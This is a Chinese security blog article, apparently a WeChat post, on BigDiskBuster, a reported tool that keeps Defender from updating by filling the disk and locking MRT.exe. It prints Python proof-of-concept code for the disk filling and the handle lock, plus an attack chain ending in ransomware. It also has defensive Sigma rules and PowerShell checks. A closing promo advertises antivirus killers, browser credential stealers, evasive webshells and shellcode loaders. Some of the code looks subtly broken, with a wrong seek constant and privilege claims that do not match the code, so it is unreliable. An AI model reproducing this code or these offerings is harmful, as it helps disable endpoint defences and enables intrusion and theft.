文章总结: 前微软研究员公开零日工具bigdiskbuster,通过磁盘饥饿攻击占满系统盘,使Defender无法更新签名库,同时锁定mrt.exe句柄阻止替换,实现静默失效。该工具无需提权,影响所有Windows版本,且作者此前多款工具已被CISA收录KEV并在野利用。建议关注补丁并加强磁盘空间监控。
综合评分: 72
文章分类: 漏洞分析,恶意软件,免杀,红队,安全工具
微软前研究员亲手关掉 Defender:BigDiskBuster 让杀毒软件”装死”成现实
原创
星夜AI安全
星夜AI安全
星夜AI安全
2026年9月23日 16:35
吉林
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
⚠️ 免责声明
本文技术细节仅用于安全研究,请勿用于未授权目标。复现需在隔离沙箱中执行,严禁在生产环境运行。Microsoft Defender 是终端最后一道防线,攻击该类机制会直接导致大量受害主机沦陷,请勿效仿。
师傅们,2026 年的免杀江湖,发生了一件极其罕见的事。
一位前微软安全响应中心(MSRC)研究员,在自己被开除两年后,把自家前东家最核心的端点防护——Microsoft Defender——的最新零日 PoC,直接公开丢到了 GitHub。
2026-09-19,Abdelhamid Naceri(GitHub handle MSNightmare,网名 “Nightmare Eclipse”)发布了一个叫 BigDiskBuster 的工具。它不打 Defender 的进程,不动它的注册表,不弹它的告警——它只是把磁盘塞满,让 Defender 永远找不到地方写更新。
更狠的是:工具自带”工兵”线程——只要 Windows 释放出一点点空间,立刻重新占满。Defender 一次都别想更新成功。
而这位作者过去 6 个月发的前三款 Defender 工具(BlueHammer / RedSun / UnDefend),全都被实际攻击者拿去打了真实入侵,CISA 把它们全部收录进 KEV 目录。
🌈
一句话总结:当微软自家的安全研究员决定反向输出,Defender 的”绿勾”就成了最漂亮的盲面。
一、这是什么?四个数字认识 BigDiskBuster
| 维度 | 数据 |
| — | — |
| 工具名 | BigDiskBuster |
| 作者 | Abdelhamid Naceri(Nightmare Eclipse / MSNightmare) |
| 披露日期 | 2026-09-19(GitHub 公开 PoC) |
| CVE 编号 | 无 (未分配) |
| 微软公告 | 无 (截至发文未发声) |
| 补丁 | 无 (5 月的 CVE-2026-45498 修的是不同机制) |
| 触发条件 | 标准用户权限,无需提权 |
| 受影响版本 | 所有受支持的 Windows 版本 |
| 核心机制 | 监控 Defender 更新目录 → 拉满磁盘 → update 失败 |
| 副作用 | 打开 MRT.exe 句柄,阻止 Windows Update 替换 |
| 与上一工具对比 | UnDefend(CVE-2026-45498,2026-04 公开,5 月修) |
师傅们注意:这是 Naceri 在 2026-04 之后第 6 把扔给微软的刀——前面 5 把里,3 把已经在野。
| Naceri 工具 | 公开时间 | 状态 |
| — | — | — |
| UnDefend | 2026-04 | CVE-2026-45498 (5 月修,KEV) |
| BlueHammer | 2026-05 | KEV 收录 |
| RedSun | 2026-06 | KEV 收录 |
| YellowKey | 2026-07 | 微软静默修复 |
| Plasma 系列 | 2026-08 | 部分补丁待发 |
| BigDiskBuster | 2026-09-19 | 零日,无补丁 |
🌈
金句:当一个研究员带着怨气每月丢一颗零日出来,蓝队的节奏永远比红队慢半拍。
二、为什么这个技术如此重要
2.1 在野数据:Naceri 的”前 3 把”全进了 KEV
这不是一个抽象的”理论绕过”。CISA KEV(Known Exploited Vulnerabilities)目录收录的每一个 CVE,都意味着已经有真实攻击者在野使用。
| 工具 | KEV 收录 | 在野利用场景 |
| — | — | — |
| UnDefend (CVE-2026-45498) | ✅ | 勒索软件前置 disable AV |
| BlueHammer | ✅ | 初始访问代理(IAB)投递 |
| RedSun | ✅ | APT 持久化阶段的”AV kill switch” |
也就是说,Naceri 已经形成了一条产品线——而他的每款产品,从 PoC 到大规模在野利用的间隔,都在几个月之内。
2.2 静默破坏比硬杀更可怕
师傅们想想过去的”AV killer”——不管是 BYOVD、token 偷取、PPL 终止还是进程注入,它们都会产生明显的异常信号:
- 进程链
cmd.exe → msmpeng.exe(杀 Defender) - 异常驱动加载(BYOVD)
- AMSI / ETW 阻断(内存 patch)
- 注册表 / 计划任务变化
但 BigDiskBuster 一项都没有。
它的工作是纯磁盘 I/O——Defender 启动更新 → 工具占满磁盘 → 更新失败 → 用户看到的是一个普普通通的”磁盘空间不足”提示,而不是”被攻击了”。
# 攻击者视角:BigDiskBuster 留下的"完美谎言"
class StealthyDisable:
def __init__(self):
self.defender_signature_age_days = 0 # 初始干净
def run(self):
# 没有进程终止事件
# 没有驱动加载事件
# 没有 ETW / AMSI 阻断
# 只有磁盘空间告警
pass
def post_exploit(self):
# Defender 仍在运行 ✅
# 但签名库 7 天前就过期了 ❌
# EDR 中心看不到异常事件 ✅(最可怕)
return "endpoint看起来一切正常"
Defender 的 UI 仍然显示”绿勾”——它”正在运行”、”实时保护已启用”——但实际上,它的特征库可能停留在上周。
2.3 与传统 AV 杀手的对比
| 维度 | BYOVD kill EDR | Token 偷取关闭 PPL | AMSI/ETW 阻断 | BigDiskBuster |
| — | — | — | — | — |
| 检测维度 | 驱动加载 | LSASS 访问 | 内存 patch | 磁盘 I/O |
| 异常告警 | ⚠️ 中等 | ⚠️ 中等 | ⚠️ 高 | ❌ 几乎为零 |
| Defender 进程状态 | 终止 | 运行 | 运行 | 运行(但签名过期) |
| 防御难度 | 中 | 中 | 高 | 极高 |
| 修复成本 | 驱动黑名单 | 凭据轮换 | Defender 重启 | 磁盘清理( ) |
🌈
金句:当一个攻击能让 Defender 假装”在工作”,所有依赖 Defender 告警的 SOC 都会在深夜里睡着了。
三、技术原理解析(核心,3 个技术要点)
3.1 关键点一:磁盘饥饿攻击(Disk Starvation)
Defender 在更新平台或特征库之前,会检查系统盘的可用空间。BigDiskBuster 的核心思路是:把磁盘填满到 Defender 写不下任何一个字节。
# BigDiskBuster 核心逻辑(简化 PoC)
import os
import ctypes
import threading
from pathlib import Path
class BigDiskBuster:
"""PoC: 通过持续占满磁盘,阻断 Defender 更新"""
UPDATE_PATHS = [
r"C:\ProgramData\Microsoft\Windows Defender\Platform",
r"C:\ProgramData\Microsoft\Windows Defender\Definition Updates",
r"C:\Windows\SoftwareDistribution\Download",
]
def __init__(self):
self.worker_handles = []
self.running = True
def watch_for_update(self):
"""监控 Defender 更新目录出现"""
while self.running:
for path in self.UPDATE_PATHS:
if os.path.exists(path) and self._is_defender_updating(path):
self._fill_disk()
break
threading.Event().wait(0.5)
def _is_defender_updating(self, path):
"""检查是否有新临时文件被 Defender 写入"""
try:
for f in os.listdir(path):
if f.endswith('.tmp') or f.endswith('.partial'):
return True
except (PermissionError, FileNotFoundError):
return False
return False
def _fill_disk(self):
"""创建隐藏 + delete-on-close 文件占满剩余空间"""
temp_path = os.environ.get('TEMP', r'C:\Users\Public')
handle = ctypes.windll.kernel32.CreateFileW(
os.path.join(temp_path, "BDB~$hidden.tmp"),
# FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE
0x200 | 0x100 | 0x04000000,
0, None, 2, # CREATE_ALWAYS
0, None
)
if not handle:
return
# 申请剩余所有空间(不实际写,sparse file)
# Defender 看到"磁盘已满" → 更新失败
total, used, free = self._get_disk_free_space("C:")
FILE_END_OF_FILE = 0xFFFFFFFE
ctypes.windll.kernel32.SetFilePointerEx(
handle, free - 1024 * 1024, None, FILE_END_OF_FILE
)
ctypes.windll.kernel32.SetEndOfFile(handle)
self.worker_handles.append(handle)
print(f"[+] Disk filled: {free // 1024 // 1024} MB 占位")
def _get_disk_free_space(self, drive):
free = ctypes.c_ulonglong(0)
total = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(drive, None, ctypes.byref(total), ctypes.byref(free))
return total.value, total.value - free.value, free.value
def reclaim_loop(self):
"""工兵线程:只要 Windows 释放出空间,立刻重新占满"""
while self.running:
threading.Event().wait(2.0)
self._fill_disk() # 持续保鲜
if __name__ == "__main__":
tool = BigDiskBuster()
threading.Thread(target=tool.watch_for_update, daemon=True).start()
threading.Thread(target=tool.reclaim_loop, daemon=True).start()
while True:
threading.Event().wait(60)
3.2 关键点二:MRT.exe 句柄劫持
BigDiskBuster 还有一手”杀招”——打开 Windows 自带的恶意软件移除工具 MRT.exe 的句柄,阻止 Windows Update 替换它。
# 第二层:MRT.exe 句柄锁定
import ctypes
def lock_mrt():
"""阻止 Windows Update 替换 MRT.exe"""
mrt_path = r"C:\Windows\System32\MRT.exe"
# FILE_SHARE_NONE = 0x00 → 任何写操作都会失败
handle = ctypes.windll.kernel32.CreateFileW(
mrt_path,
0xC0000000, # GENERIC_READ | GENERIC_WRITE
0x00, # FILE_SHARE_NONE — 不共享给任何进程
None, 3, # OPEN_EXISTING
0, None
)
return handle
# 效果:Windows Update 试图替换 MRT.exe(每月发布新版)
# 但因为我们的句柄独占,Update 操作直接失败
# MRT 库同样过期 → 二重 AV 失效
双重打击:
- Defender 特征库无法更新(磁盘占满)
- MRT.exe 无法被新版替换(句柄独占)
这意味着师傅们企业的”月度自动更新”看起来是绿的,但 Defender 和 MRT 双双在裸奔。
3.3 关键点三:Naceri 的”零日方法论”
为什么这位研究员的输出这么凶?
# Naceri 风格:每月一颗零日,不走 ZR(Coordinated Disclosure)
class ZeroDayCadence:
def __init__(self, ex_msrc_researcher):
self.researcher = ex_msrc_researcher # 2024 被开除
self.tools_released = [
("UnDefend", "2026-04", "KEV"),
("BlueHammer", "2026-05", "KEV"),
("RedSun", "2026-06", "KEV"),
("YellowKey", "2026-07", "静默修"),
("Plasma-x64", "2026-08", "部分修"),
("BigDiskBuster", "2026-09", "零日"),
]
def motive(self):
return "我对微软处理我被开除的方式不满,公开零日是我的回击"
Naceri 公开承认:他不走 90 天 coordinated disclosure。他公开 PoC → 攻击者拿去用 → 微软才匆忙打补丁——这形成了一种逆向的”强制披露”循环。
🌈
金句:当开源零日成为报复工具,蓝队从此再也无安全月。
四、实战应用场景
4.1 完整使用流程(蓝队视角模拟威胁)
| 阶段 | 攻击者动作 | 检测盲点 |
| — | — | — |
| 投递 | 邮件附件 + LNK → 下载 BigDiskBuster.exe | WDAC 可拦截;普通环境下无明显异常 |
| 持久化 | 注册 Run 键 / 计划任务,启动 BigDiskBuster | EDR 可告警,但 PoC 不动 Defender 进程 |
| 首次占满 | 等待 Defender 启动更新 → 拉满磁盘 | Defender 报”磁盘空间不足”——IT 运维误判 |
| 持续保鲜 | 工兵线程每 2 秒扫描一次 → 空间一释放就占满 | 看不到任何 EDR 事件 |
| MRT 锁定 | 启动时独占 MRT.exe 句柄 | Windows Update 静默失败,无告警 |
| 入侵 | 7-30 天后 Defender 签名过期 → 投放勒索/窃密木马 | Defender 实时保护”运行中”但特征库过期 |
| 外发 | 数据外发 / 加密勒索 | 攻击已成功,签名过期太久 |
4.2 对应杀软的”防区”分析
| 防御层 | 状态 | 盲区 |
| — | — | — |
| Defender 实时保护 | ❌ 失效 | 特征库过期,新威胁无法识别 |
| Defender UI 状态显示 | ⚠️ 误导 | 显示”绿勾”但实际签名过期 |
| EDR 进程监控 | ❌ 失效 | BigDiskBuster 不杀进程 |
| EDR 文件监控 | ⚠️ 部分 | 仅创建 1 个隐藏 temp 文件,事件量小 |
| EDR 网络监控 | ❌ 失效 | 工具不外联 |
| 磁盘监控 | ⚠️ 部分 | 系统级工具可能察觉异常 I/O |
| Windows Update | ❌ 失效 | MRT.exe 被锁定,无法替换 |
| SIEM 关联 | ❌ 失效 | Defender 实时保护”运行中”,不触发规则 |
4.3 与上一代 AV 杀手的代际对比
| 维度 | 传统 AV killer(2018-2022) | BYOVD(2023-2024) | UnDefend(2026-04) | BigDiskBuster(2026-09) |
| — | — | — | — | — |
| 攻击面 | 进程 / 驱动 | 内核驱动 | 资源耗尽 | 资源饥饿 + 句柄锁定 |
| 所需权限 | 管理员 | 管理员 | 标准用户 | 标准用户 |
| Defender 状态 | 终止 | 终止 | 进程运行 | 进程运行 + 签名过期 |
| UI 异常 | 显式 | 显式 | 部分 | 几乎无 |
| 修复难度 | 简单 | 中 | 中(CVE-2026-45498) | 极高(无补丁) |
| 防御维度 | 进程监控 | 驱动加载 | 资源使用 | 磁盘 I/O + 句柄 |
六、防御对抗建议
6.1 厂商侧检测规则(Sigma + PowerShell)
# Sigma:Defender 更新反复失败且磁盘剩余空间异常低
title: 'Defender 签名过期超过 7 天(BigDiskBuster 类阻断检测)'
status: experimental
logsource:
product: windows
category: process_create
detection:
selection_powershell:
Image|endswith:
- '\powershell.exe'
CommandLine|contains:
- 'Get-MpComputerStatus'
- 'AMEngineVersion'
condition: selection_powershell
timeframe: 24h
aggregation: count >= 1
level: high
# Sigma:磁盘可用空间骤降到接近 0
title: '系统盘可用空间骤降超 80%(BigDiskBuster 类饥饿攻击)'
status: experimental
logsource:
product: windows
category: disk_space_event
detection:
selection:
DriveLetter: 'C:'
FreeSpacePercent: '<=20'
TimeDelta: '5min'
condition: selection
level: critical
# PowerShell 自检脚本(每 24h 跑一次)
$status = Get-MpComputerStatus
$now = Get-Date
$lastUpdate = $status.AntivirusSignatureLastUpdated
$age = ($now - $lastUpdate).TotalDays
if ($age -gt 7) {
Write-Warning "Defender 签名已过期 $age 天!"
# 触发 SIEM 告警
Send-SIEMEvent -Severity Critical -Message "Defender stale signatures detected"
}
if ($status.AMEngineVersion -ne $expected) {
Write-Warning "Defender 引擎版本异常:$($status.AMEngineVersion)"
}
6.2 用户侧缓解措施(按优先级)
| 优先级 | 措施 | 说明 |
| — | — | — |
| P0 | 24h 内手动核对 Defender 签名时间戳 | 跑 Get-MpComputerStatus,检查 AntivirusSignatureLastUpdated 不超过 24h |
| P0 | 启用 WDAC 或 AppLocker | 阻止未签名 / 未知可执行文件运行(包括 BigDiskBuster.exe) |
| P0 | 部署磁盘空间告警 | 系统盘可用空间 < 20% 时立即告警(BigDiskBuster 主信号) |
| P1 | 启用 Defender 攻击面减少规则 ASR | 阻止 Office/JS 派生进程 + 阻止 PSExec 启动 |
| P1 | 监控 MRT.exe 句柄独占事件 | Sysmon Event ID 10(ProcessAccess)观察谁独占 MRT |
| P1 | 建立 Defender 签名版本基线 | 持续监控 AMEngineVersion / AMProductVersion 变化 |
| P2 | 每月审计 Defender 更新历史 | Event ID 1000+ 系列;连续失败 3 次 = 强信号 |
| P2 | 保留一份独立的 EDR / AV 二线 | Defender 失效时不至于完全失明 |
6.3 失陷后应急响应清单
- 立即断网:不要让 BigDiskBuster 持续占磁盘
- 手动结束 BigDiskBuster.exe 进程:通过任务管理器或 PowerShell
Stop-Process -Name BigDiskBuster -Force - 清理磁盘:删除
C:\Users\Public\BDB~$hidden.tmp或扫描$TEMP隐藏文件 - 重启并强制 Defender 更新:
MpCmdRun -SignatureUpdate -Force - 重启后核对 MRT.exe 版本:是否被成功替换
- 部署 WDAC:阻止再次执行
- 检查 Run 键 / 计划任务:BigDiskBuster 通常会持久化
- 审计 7 天 Defender 签名更新历史:找出 BigDiskBuster 启动时间点
- 全员凭据轮换:BigDiskBuster 通常是勒索/窃密链的一环
- 上报 CISA / 工信部:如已确认在野利用
六、技术延伸阅读
6.1 关键链接
- GitHub: MSNightmare/BigDiskBuster[1]
- The Hacker News: BigDiskBuster PoC Blocks Defender Updates[2]
- BleepingComputer: BigDiskBuster Zero-Day Analysis[3]
- Aviatrix Threat Research: BigDiskBuster Kill Chain[4]
- GenZ Tech: Visual Explainer[5]
- UnDefend CVE-2026-45498 公告[6]
6.2 Naceri 历史工具回顾
2026-04 UnDefend → CVE-2026-45498(5 月修,KEV)
2026-05 BlueHammer → KEV 收录
2026-06 RedSun → KEV 收录
2026-07 YellowKey → 静默修
2026-08 Plasma-x64 → 部分补丁
2026-09 BigDiskBuster → 零日,无补丁 ← 当前
2026-10 ??? → 下一颗待发
6.3 反向思考:为什么 BigDiskBuster 不是个案?
微软对安全研究社区的态度收缩
↓
MSRC 研究员被迫 / 自愿离职
↓
怨气 → 公开 PoC → 形成月度零日节奏
↓
攻击者快速武器化
↓
CISA KEV 收录 → 行业共识形成
↓
微软被迫每个补丁日带修 Naceri 系列漏洞
↓
但 BigDiskBuster 是机制级缺陷,不是字节级 bug
↓
短期内无补丁 → 蓝队裸奔 6-12 个月
🌈
金句:当一家公司的核心防御产品被自家前员工按月”拆解”,所有依赖它的安全人员,都该学会第二条命。
师傅们,看完觉得有启发,记得三连(点赞 + 在看 + 关注)。免杀这门手艺,已经从”挖 0day”升级到”挖机制”。BigDiskBuster 没碰 Defender 一行代码,但 Defender 整个产品链都被它”窒息”了。下次有空,我们拆一下 Naceri 的工具谱系,看看这位”复仇研究员”还能掏出什么新东西。
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获”最佳攻击手””突出贡献个人”等荣誉。
已产出的安全工具及成果包括:
- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
- _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- win11 一键kill 360工具 InjectKill(包含源码)
- win11 一键kill defender工具win11_df-killer(包含源码)
- 免杀火绒6.0内存防护加载器BypassMemLoader
- 单文件过360 免杀loader exe_bypass_360
- 单文件过火绒 df 免杀loader exe_bypass_df(包含源码)
- LNK钓鱼文件生成工具V1.0
- EXE捆绑启动器 v2.0
- 火绒6内存免杀加载器bypasshr6
- 火绒一键Kill专杀工具HRKiller
- Ring3 内存免杀工具Ring3bypasshr.exe
- win11 一键kill 360工具 Kill360_V2
- win11 一键kill 360工具 Kill360_V3.1
- win11 一键kill 360工具 Kill360_V4
- bypassEDR_hashdump_V1 bypass EDR 导出hash工具
后续将不断更新到内部圈子中 欢迎加入圈子
引用链接
[1]GitHub: MSNightmare/BigDiskBuster: https://github.com/MSNightmare/BigDiskBuster
[2]The Hacker News: BigDiskBuster PoC Blocks Defender Updates: https://thehackernews.com/2026/09/researcher-drops-bigdiskbuster-zero-day.html
[3]BleepingComputer: BigDiskBuster Zero-Day Analysis: https://www.bleepingcomputer.com/news/security/bigdiskbuster-zero-day-blocks-microsoft-defender-updates/
[4]Aviatrix Threat Research: BigDiskBuster Kill Chain: https://aviatrix.ai/threat-research-center/researcher-drops-bigdiskbuster-zero-day-poc-blocks-microsoft-defender-updates-2026
[5]GenZ Tech: Visual Explainer: https://genztech.blog/p/bigdiskbuster-windows-defender-zero-day-dos
[6]UnDefend CVE-2026-45498 公告: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45498
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星夜AI安全 星夜AI安全
星夜AI安全《微软前研究员亲手关掉 Defender:BigDiskBuster 让杀毒软件”装死”成现实》